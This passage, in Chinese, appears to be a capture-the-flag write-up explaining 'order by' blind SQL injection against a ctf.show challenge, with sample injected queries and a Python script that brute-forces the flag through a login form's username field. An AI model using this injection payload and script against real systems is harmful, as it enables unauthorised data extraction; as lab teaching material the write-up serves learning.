如果我们执行select * from flag where id='' or 1 union select 1,1 order by 2;会出现
不能用and否则就相当于创建了一个虚拟的表,查询不到原来的数据。
我们知道flag的第一位是f,如果我们查询select * from flag where id='' or 1 union select 1,'f' order by 2;会发生什么呢?
还是这样,第一行没什么用,但是如果我们查询的是g的话就会变成这样
flag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import requests import string url="http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/" str=string.digits+string.ascii_letters flag='' j='' for i inrange(1,50): for s instr: data = { 'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+s), 'password': '1111' } r=requests.post(url,data=data) if"</code>admin"in r.text: flag+=chr(ord(s)-1) print(flag) break;